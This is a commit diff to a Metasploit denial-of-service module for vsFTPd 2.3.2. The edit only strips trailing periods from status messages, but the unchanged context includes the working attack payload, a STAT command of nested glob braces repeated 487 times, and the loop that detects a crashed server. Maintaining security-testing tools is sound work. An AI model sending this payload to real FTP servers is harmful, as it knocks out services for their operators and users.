vsftpd_232: Clean up trailing dot consistency

Author: g0tmi1k

modules/auxiliary/dos/ftp/vsftpd_232.rb

@@ -42,11 +42,11 @@ def check
     # attempt to connect
     begin
       if !connect_login
-        print_error('Connection refused.')
+        print_error('Connection refused')
         return Exploit::CheckCode::Unknown('Failed to connect or authenticate via FTP')
       end
     rescue Rex::ConnectionRefused
-      print_error('Connection refused.')
+      print_error('Connection refused')
       return Exploit::CheckCode::Unknown('Connection refused by the target')
     rescue Rex::ConnectionTimeout
       print_error('Connection timed out')
@@ -61,7 +61,7 @@ def check
     disconnect
     # check if version was found
     if s !~ /vsFTPd \d+\.\d+\.\d+/
-      print_error('Did not find FTP version in FTP session.')
+      print_error('Did not find FTP version in FTP session')
       return Exploit::CheckCode::Unknown('Could not determine vsFTPd version')
     end
 
@@ -75,7 +75,7 @@ def check
   end
 
   def run
-    fail_with(Failure::NotVulnerable, 'Target is not vulnerable.') if check != Exploit::CheckCode::Appears
+    fail_with(Failure::NotVulnerable, 'Target is not vulnerable') if check != Exploit::CheckCode::Appears
 
     payload = 'STAT ' + '{{*},' * 487 + '{.}' + '}' * 487
 
@@ -98,11 +98,11 @@ def run
       print_error('Connection reset!')
     rescue Rex::ConnectionRefused
       print("\n")
-      print_good('Connection refused! Appears DOS attack succeeded.')
+      print_good('Connection refused! Appears DOS attack succeeded')
       break
     rescue EOFError
       print("\n")
-      print_good('Stream was cut off abruptly. Appears DOS attack succeeded.')
+      print_good('Stream was cut off abruptly. Appears DOS attack succeeded')
       break
     end
     disconnect